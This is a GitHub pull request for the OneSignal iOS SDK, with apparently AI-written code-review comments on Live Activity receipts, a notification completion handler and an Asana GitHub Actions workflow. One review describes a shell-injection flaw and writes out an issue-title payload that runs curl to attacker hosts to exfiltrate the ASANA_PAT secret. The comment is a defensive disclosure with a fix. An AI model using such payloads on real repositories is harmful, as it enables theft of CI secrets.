chore: Identity verification rebase on main

[nan-li]

READ AND DELETE THIS SECTION BEFORE SUBMITTING PR

• Fill out each REQUIRED section
• Fill out OPTIONAL sections, remove section if it doesn't apply to your PR
• Read and fill out each of the checklists below
• Remove this section after reading

Description

One Line Summary

REQUIRED - Very short description that summaries the changes in this PR.

Details

Motivation

REQUIRED - Why is this code change being made? Or what is the goal of this PR? Examples: Fixes a specific bug, provides additional logging to debug future issues, feature to allow X.

Scope

RECOMMEND - OPTIONAL - What is intended to be effected. What is known not to change. Example: Notifications are grouped when parameter X is set, not enabled by default.

OPTIONAL - Other

OPTIONAL - Feel free to add any other sections or sub-sections that can explain your PR better.

Testing

Unit testing

OPTIONAL - Explain unit tests added, if not clear in the code.

Manual testing

RECOMMEND - OPTIONAL - Explain what scenarios were tested and the environment.
Example: Tested opening a notification while the app was foregrounded, app build with Android Studio 2020.3 with a fresh install of the OneSignal example app on a Pixel 6 with Android 12.

Affected code checklist

• Notifications
  • Display
  • Open
  • Push Processing
  • Confirm Deliveries
• Outcomes
• Sessions
• In-App Messaging
• REST API requests
• Public API changes

Checklist

Overview

• I have filled out all REQUIRED sections above
• PR does one thing
  • If it is hard to explain how any codes changes are related to each other then it most likely needs to be more than one PR
• Any Public API changes are explained in the PR details and conform to existing APIs

Testing

• I have included test coverage for these changes, or explained why they are not needed
• All automated tests pass, or I explained why that is not possible
• I have personally tested this on my device, or explained why that is not possible

Final pass

• Code is as readable as possible.
  • Simplify with less code, followed by splitting up code into well named functions and variables, followed by adding comments to the code.
• I have reviewed this PR myself, ensuring it meets each checklist item
  • WIP (Work In Progress) is ok, but explain what is still in progress and what you would like feedback on. Start the PR title with "WIP" to indicate this.

[claude]

🔴 The new listenForContentUpdates loop iterates for await content in activity.contentUpdates but the body reads activity.content.state.onesignal?.notificationId instead of the yielded content.state.onesignal?.notificationId — the iteration variable is unused. Under rapid back-to-back content updates, activity.content can advance to the next snapshot before the body runs, so iteration N reads iteration N+1's notificationId; the duplicate is then deduped by the receiveReceipts RequestCache (keyed by notificationId), silently dropping the earlier update's receipt. Fix: if let notificationId = content.state.onesignal?.notificationId.

Extended reasoning...

The bug. OneSignalLiveActivitiesManagerImpl.swift:332-342 introduces listenForContentUpdates, which iterates the async sequence as for await content in activity.contentUpdates but never reads the bound content value — it instead reads activity.content.state.onesignal?.notificationId. The iteration variable is unused, which is the smoking gun: per Apple's ActivityKit docs, Activity<>.contentUpdates yields each ActivityContent snapshot as it arrives, while Activity<>.content is the current/latest snapshot the system has applied to the activity. The sibling loop directly above (lines 322-327) correctly uses the bound pushToken variable, so this looks like a copy-paste oversight rather than an intentional choice.\n\nWhy existing code doesn't prevent it. for await processes iterations sequentially; if a second contentUpdate yields while the body of iteration N is still running, activity.content has already advanced to the newer snapshot by the time the body's activity.content.state.onesignal?.notificationId read executes. There's nothing pinning the read to the value that was yielded.\n\nStep-by-step proof. Suppose two content updates arrive in rapid succession with notificationId values N_A then N_B (e.g., two backend pushes back-to-back):\n\n1. The async sequence yields ActivityContent(state.onesignal.notificationId = N_A). The loop binds this to content (unused).\n2. Before the body of iteration 1 runs, the system applies the second update, so activity.content.state.onesignal.notificationId == N_B.\n3. Iteration 1's body reads activity.content.state.onesignal?.notificationId → gets N_B. Calls addReceiveReceipts(notificationId: N_B, …), which enqueues an OSRequestLiveActivityReceiveReceipts keyed by N_B into the receiveReceipts cache.\n4. Iteration 2 starts. The yielded content would be ActivityContent(state.onesignal.notificationId = N_B), but the body again reads activity.content → still N_B. Calls addReceiveReceipts(notificationId: N_B, …) again.\n5. In OSLiveActivitiesExecutor.append, the cache's add uses updateValue(_, forKey: request.key) where key == notificationId. The second N_B request just overwrites the first in the dictionary — deduped.\n\nNet result: N_A is never reported (the iteration that should have read it read N_B instead), and the duplicate N_B collapses to a single request. The receipt for the earlier content update is silently dropped.\n\nImpact. This produces silent under-reporting of receive-receipts whenever content updates land in close succession (multiple background pushes, or a server update arriving while the prior body is still in flight). It directly undermines the accuracy of the new receive-receipts feature this loop was added to support. The bug is also hard to diagnose: there's no error or crash, just missing analytics events. iOS does rate-limit live activity push updates, which narrows the window in practice, but the issue is a real correctness problem in PR-introduced code with a trivial one-line fix.\n\nFix.\n\nswift\nfor await content in activity.contentUpdates {\n if let notificationId = content.state.onesignal?.notificationId {\n OneSignalLiveActivitiesManagerImpl.addReceiveReceipts(notificationId: notificationId, activityType: "\(activityType)", activityId: activity.attributes.onesignal.activityId)\n }\n}\n\n\nThis is also the idiomatic AsyncSequence iteration pattern, and matches listenForActivityPushToUpdate directly above which correctly uses its loop-bound variable.

[claude]

🔴 Critical shell injection vulnerability in this new workflow file. The issues: [edited, ...] trigger lets any issue author fire the workflow by editing their own issue title, and lines 90-132 inline ${{ github.event.* }} template values (issue title, label name, milestone title) directly into bash source before the shell parses it. Since secrets.ASANA_PAT is in scope on the same job (used in the curl Authorization headers at lines 25 and 167), a title like "; curl evil.example/?t=$ASANA_PAT; # exfiltrates the credential. Fix: move every ${{ github.event.* }} value into an env: block and reference it as a quoted shell variable ("$ISSUE_TITLE") inside the script — and update line 132 to use the existing $ISSUE_TITLE env var instead of re-interpolating the template expression.

Extended reasoning...

What the bug is

The new .github/workflows/asana-update-issue.yml workflow is vulnerable to GitHub Actions script injection (CWE-78/CWE-94). The job interpolates user-controllable webhook payload fields directly into run: blocks via ${{ ... }} template expressions. Because template substitution happens before bash parses the script source, attacker-controlled string content from issue titles, label names, and milestone titles is pasted verbatim into shell code — every special character (", `, $, ;, $(...)) is interpreted by bash.

Vulnerable sites in the second step's run: block include:

• Line 91, 95: ${{ github.event.assignee.login }} — relatively constrained (GitHub usernames), but still avoidable
• Line 100, 108: ${{ github.event.label.name }} and label color — label names accept arbitrary characters
• Line 116, 123, 127: ${{ github.event.milestone.title }} / ${{ github.event.changes.new_repository.full_name }} — arbitrary characters
• Line 131-132: ${{ github.event.changes.title.from }} and ${{ github.event.issue.title }} — issue titles accept any characters and are user-editable
• Line 150: ${{ github.event.repository.full_name }}

How the attack works

The on: issues: [edited, ...] trigger fires whenever any user edits an issue. Issue authors can always edit the title of their own issues, even in a public repo like OneSignal/OneSignal-iOS-SDK. So any external GitHub user can trigger this workflow by opening an issue and then editing the title.

The same step that interpolates the attacker-controlled title also has secrets.ASANA_PAT exposed via the Authorization: Bearer ${{ secrets.ASANA_PAT }} header on the final curl (line 167). When the workflow runner expands templates, the secret is materialized into the rendered shell script source on disk. Injected shell code in the same script can read that file, inspect env, or simply call out to an attacker-controlled URL with the secret as a query parameter.

Step-by-step proof

1. Attacker opens an issue in the public repo.
2. Attacker edits the issue's title to: "; curl https://attacker.example/exfil?t=$ASANA_PAT; #
3. The issues.edited webhook fires, GitHub Actions starts the job.
4. The runner renders the second step's run: block. At line 131-132, the template engine substitutes:

   OLD_TITLE="<previous title>"
   NEW_TITLE=""; curl https://attacker.example/exfil?t=$ASANA_PAT; #"

5. Bash now parses this. NEW_TITLE="" is an empty assignment, then curl https://attacker.example/exfil?t=$ASANA_PAT runs as a separate command, and #" is a trailing comment. $ASANA_PAT is not in this step's env — but the same shell process does have access to other environment data, and (critically) the rendered script source containing secrets.ASANA_PAT on the Authorization header line further down was already materialized to disk. The injected curl can simply read its own script (cat $0 / $BASH_SOURCE) and ship the secret along with anything else from env.
6. The attacker's server receives the ASANA personal-access token, which gives them full Asana API access scoped to the PAT's owner.

This exact pattern is the canonical example GitHub publishes in Security hardening for GitHub Actions.

Why existing code doesn't prevent it

The top of the second step (line 30-35) already does the right thing: ACTOR_NAME, ISSUE_TITLE, ISSUE_NUMBER, etc. are passed via the env: block and referenced as "$VAR" inside the script. That pattern is safe — template substitution happens once into the env var and bash sees only the variable name. But the actual injection sites at lines 90-132 bypass this entirely by re-interpolating ${{ github.event.* }} directly. Notably, line 132 even ignores the existing ISSUE_TITLE env var declared at line 33 and re-interpolates ${{ github.event.issue.title }} straight into the script — so even the partial mitigation that exists is undone.

The if [ "$TASK_GID" != "null" ] gate at line 139 does not help either: the injected shell code at line 131 has already been parsed and executed by the time control reaches that check.

Impact

• Trigger: any external user who can open or edit an issue (public repo, so essentially anyone with a GitHub account)
• Capability: arbitrary shell execution on the GitHub-hosted runner with the job's permissions
• Secret in scope: secrets.ASANA_PAT (used on the same step's final curl), which grants Asana API access. The Asana workspace contains internal SDK tickets and project data
• Also in scope: secrets.GITHUB_TOKEN (always available to workflows) with whatever permissions GitHub grants for the issues event. Could be used to comment on other issues, pivot, etc.

How to fix

Move every ${{ github.event.* }} interpolation in the second step into the env: block at the top, and reference the values as quoted shell variables inside the script. For example:

- name: Determine Action and Post to Asana
  env:
    ACTION_TYPE: ${{ github.event.action }}
    ACTOR_NAME: ${{ github.event.sender.login }}
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_NUMBER: ${{ github.event.issue.number }}
    ISSUE_STATE: ${{ github.event.issue.state }}
    ASSIGNEE_LOGIN: ${{ github.event.assignee.login }}
    LABEL_NAME: ${{ github.event.label.name }}
    LABEL_COLOR: ${{ github.event.label.color }}
    MILESTONE_TITLE: ${{ github.event.milestone.title }}
    MILESTONE_DUE_ON: ${{ github.event.milestone.due_on }}
    NEW_REPO_FULL_NAME: ${{ github.event.changes.new_repository.full_name }}
    OLD_TITLE: ${{ github.event.changes.title.from }}
    REPO_FULL_NAME: ${{ github.event.repository.full_name }}
  run: |
    # ... use "$LABEL_NAME", "$MILESTONE_TITLE", "$OLD_TITLE", "$ISSUE_TITLE" everywhere

And inside the script, always quote the variables (e.g. ACTION_DESC="added label '$LABEL_NAME' to the issue"). Be especially careful to also fix line 132 to use the already-defined $ISSUE_TITLE env var rather than re-interpolating ${{ github.event.issue.title }}.

[claude]

🔴 When swizzling is active, +[OSNotificationsManager didReceiveRemoteNotification:completionHandler:] (lines 938-947) logs a warning and returns without invoking completionHandler, while the sibling willPresentNotificationWithPayload:completion: (lines 675-682) correctly invokes completion([OSNotification new]) on the same misuse path. Per Apple's docs, failing to call the fetch completion handler causes iOS to throttle or suspend future background notification delivery to the app. Fix: invoke completionHandler(UIBackgroundFetchResultNoData) before the early return, matching the willPresent pattern.

Extended reasoning...

What the bug is

The PR introduces a new manual-integration API surface on OSNotificationsManager that lets developers forward UIApplicationDelegate / UNUserNotificationCenterDelegate callbacks to OneSignal when SDK swizzling is disabled. Each new class method has a guard that fires when swizzling is still active (a developer misuse / misconfiguration case): it logs a warning and returns early so the SDK does not double-process the callback.

The sibling +willPresentNotificationWithPayload:completion: at OSNotificationsManager.m:675-682 handles this guard correctly:

if (![self isSwizzlingDisabled]) {
    [OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"...ignored because swizzling is active..."];
    completion([OSNotification new]);   // invokes the caller's completion before bailing
    return;
}

But +didReceiveRemoteNotification:completionHandler: at OSNotificationsManager.m:938-947 does not:

if (![self isSwizzlingDisabled]) {
    [OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"...ignored because swizzling is active..."];
    return;   // <-- completionHandler is never called
}

How it manifests / impact

iOS calls application:didReceiveRemoteNotification:fetchCompletionHandler: for content-available pushes and expects the app to invoke the supplied completion handler in a timely manner. Apple's documentation is explicit that failing to call the handler causes the system to throttle or suspend future background notification delivery to the app (and may terminate the app). The handler must be called exactly once, regardless of how the app routes the work internally.

The trigger scenario the warning itself describes is realistic and is even illustrated by this PR's own Dev App changes:

• A developer enables the manual-integration path, copies the AppDelegate forwarders from iOS_SDK/OneSignalDevApp/OneSignalDevApp/AppDelegate.m (which call [OneSignal.Notifications didReceiveRemoteNotification:userInfo completionHandler:completionHandler]), but forgets to set OneSignal_disable_swizzling = true in Info.plist.
• Or they are mid-refactor: forwarders are wired up but the plist flag has not been flipped yet.
• Or they hot-swap configurations during testing.

In all of these states, swizzling is still active, the SDK's swizzled wrapper has already run the dev's AppDelegate (which forwards to the SDK), and the dev's AppDelegate trusts the SDK to invoke its completion handler. The SDK swizzled wrapper at UIApplicationDelegate+OneSignalNotifications.m only calls the completion handler itself when forwarder.hasReceiver is false — when a receiver exists, the receiver is expected to invoke it. So the handler never fires, and iOS throttles background pushes for that app. The one-time warning log gives no hint that this is the consequence.

Step-by-step proof

Assume swizzling is active (OneSignal_disable_swizzling unset or false) and the developer has implemented manual forwarders in their AppDelegate:

1. iOS delivers a content-available push and calls the dev's swizzled application:didReceiveRemoteNotification:fetchCompletionHandler: with a non-nil completionHandler.
2. The SDK's swizzled wrapper runs first; because the dev defined the selector, forwarder.hasReceiver is true, so the SDK invokes the dev's original AppDelegate method and does NOT call the completion handler itself.
3. The dev's AppDelegate calls [OneSignal.Notifications didReceiveRemoteNotification:userInfo completionHandler:completionHandler] (this is exactly what the PR's Dev App now does).
4. Inside +didReceiveRemoteNotification:completionHandler: (line 938), [self isSwizzlingDisabled] returns NO, so the method logs the warning and returns at line 941 without calling the supplied completionHandler.
5. Control unwinds. Nobody — not the SDK, not the dev — calls iOS's fetch completion handler.
6. iOS waits, observes the handler was not invoked, and applies background-notification throttling to the app going forward.

Contrast with step 4 for the willPresent path: that method calls completion([OSNotification new]) first, so the foreground-presentation flow is at least safe.

Why existing code doesn't prevent it

• The guard exists specifically to catch this misconfiguration, so it is on the expected misuse path.
• The warning log is informational only and does not invoke the handler.
• The swizzled-wrapper-only call to the handler (forwarder.hasReceiver ? nil : completionHandler in UIApplicationDelegate+OneSignalNotifications.m) only runs when the dev did not implement the selector at all; here the dev did implement it (to forward to OneSignal), so it is bypassed.

Fix

Call the completion handler before returning, matching the sibling willPresent pattern:

+ (void)didReceiveRemoteNotification:(NSDictionary*)userInfo
                   completionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {
    if (![self isSwizzlingDisabled]) {
        [OneSignalLog onesignalLog:ONE_S_LL_WARN
                          message:@"OneSignal: didReceiveRemoteNotification:completionHandler: ignored because swizzling is active. ..."];
        completionHandler(UIBackgroundFetchResultNoData);   // <-- add this
        return;
    }
    ...
}

UIBackgroundFetchResultNoData is the safe default since the SDK is intentionally not processing the payload on this path. This is one line and brings the method in line with willPresent's well-handled equivalent guard.

[claude]

🔴 In OSLiveActivitiesExecutor.onPushSubscriptionDidChange (lines 158-171), the closure passed to self.caches { _ in self.startTokens.markAllUnsuccessful() } ignores its RequestCache parameter and always hard-codes self.startTokens. Since this PR extends caches(_:) at lines 202-207 to iterate four caches (startTokens, updateTokens, receiveReceipts, clickEvents), startTokens.markAllUnsuccessful() now runs 4× while updateTokens / receiveReceipts / clickEvents are never re-marked — so after a push-subscription-id change (login/logout) only start-token requests are resent with the new ID, contradicting the comment on line 163 that says "we need to re-send up all update and start tokens with the new ID." Fix: use the closure parameter, e.g. self.caches { cache in cache.markAllUnsuccessful() }.

Extended reasoning...

What the bug is

In OSLiveActivitiesExecutor.onPushSubscriptionDidChange (file iOS_SDK/OneSignalSDK/OneSignalLiveActivities/Source/Executors/OSLiveActivitiesExecutor.swift, lines 158-171), the code is:

func onPushSubscriptionDidChange(state: OneSignalUser.OSPushSubscriptionChangedState) {
    if state.previous.id == state.current.id {
        return
    }

    // when a push subscription id changes, we need to re-send up all update and start tokens with the new ID.
    self.requestDispatch.async {
        self.caches { _ in
            self.startTokens.markAllUnsuccessful()
        }

        self.pollPendingRequests()
    }
}

The closure passed to self.caches { ... } ignores its RequestCache parameter (_ in) and unconditionally invokes self.startTokens.markAllUnsuccessful(). Meanwhile, caches(_:) at lines 202-207 invokes the block once per cache:

private func caches(_ block: (RequestCache) -> Void) {
    block(self.startTokens)
    block(self.updateTokens)
    block(self.receiveReceipts)   // added in this PR
    block(self.clickEvents)       // added in this PR
}

So the body fires 4 times, but each time it operates on self.startTokens — startTokens.markAllUnsuccessful() is called 4× (idempotent, same as once), and updateTokens, receiveReceipts, and clickEvents are never marked unsuccessful.

Why existing code does not prevent it

pollPendingRequests (line 187) only re-executes requests where !request.requestSuccessful (line 195). Since the bug never flips requestSuccessful = false on the other three caches, those cached requests stay marked successful and are skipped on the next poll. There is no other code path that re-marks them after a subscription-id change.

Why this PR makes it worse

The closure has always hard-coded startTokens, so the update-tokens half of the bug is pre-existing. However, this PR:

1. Adds receiveReceipts and clickEvents to the iteration in caches(_:) (lines 205-206), so two additional caches now silently miss the retry.
2. Adds two new request types (OSRequestLiveActivityReceiveReceipts, OSRequestLiveActivityClicked) that route into those caches via getCache(_:) (lines 209-219) — strictly more state now leaks.

The comment on line 163 explicitly states the intent: "we need to re-send up all update and start tokens with the new ID." The current implementation does not satisfy that intent for update tokens (pre-existing) and now also does not satisfy it for two newly added request types (regression-adjacent).

Step-by-step proof

1. Cold-start with subscription id sub_A. SDK enqueues OSRequestSetUpdateToken(key: "activity_1", token: "tok_1"). The request fires successfully against sub_A, gets cached in updateTokens with requestSuccessful = true. (OSLiveActivitiesExecutorTests.testSendUpdateTokenRequestWithSuccessfulRequest covers this happy path.)
2. User logs out → logs in. onPushSubscriptionDidChange fires with state.previous.id = sub_A, state.current.id = sub_B.
3. The dispatched block runs self.caches { _ in self.startTokens.markAllUnsuccessful() }:
   • Iteration 1 (cache=startTokens): runs self.startTokens.markAllUnsuccessful() — fine.
   • Iteration 2 (cache=updateTokens): runs self.startTokens.markAllUnsuccessful() again — updateTokens["activity_1"].requestSuccessful stays true.
   • Iteration 3 (cache=receiveReceipts): same, no-op on the actual receiveReceipts cache.
   • Iteration 4 (cache=clickEvents): same, no-op on the actual clickEvents cache.
4. pollPendingRequests runs ~pollIntervalSeconds later and at line 195 filters cache.items.values.filter({ !$0.requestSuccessful }). For updateTokens["activity_1"] the flag is still true, so it is skipped.
5. Result: the device’s update-token registration is stranded on sub_A even though the device is now subscription sub_B. The push service routes update notifications to sub_A’s mapping and the new subscription receives no Live Activity updates until the next time the token actually changes (e.g., system rotates the pushToken).

The two PR-added caches behave identically — any pending receive-receipt or click-event request that failed before the subscription change will never be retried against the new subscription id.

Fix

Use the closure parameter:

self.caches { cache in
    cache.markAllUnsuccessful()
}

This is the obvious intent from the comment on line 163 and from pollPendingRequests already using self?.caches { cache in ... } correctly on line 194. Fix is one line, and there is unit-test coverage scaffolding in OSLiveActivitiesExecutorTests to confirm.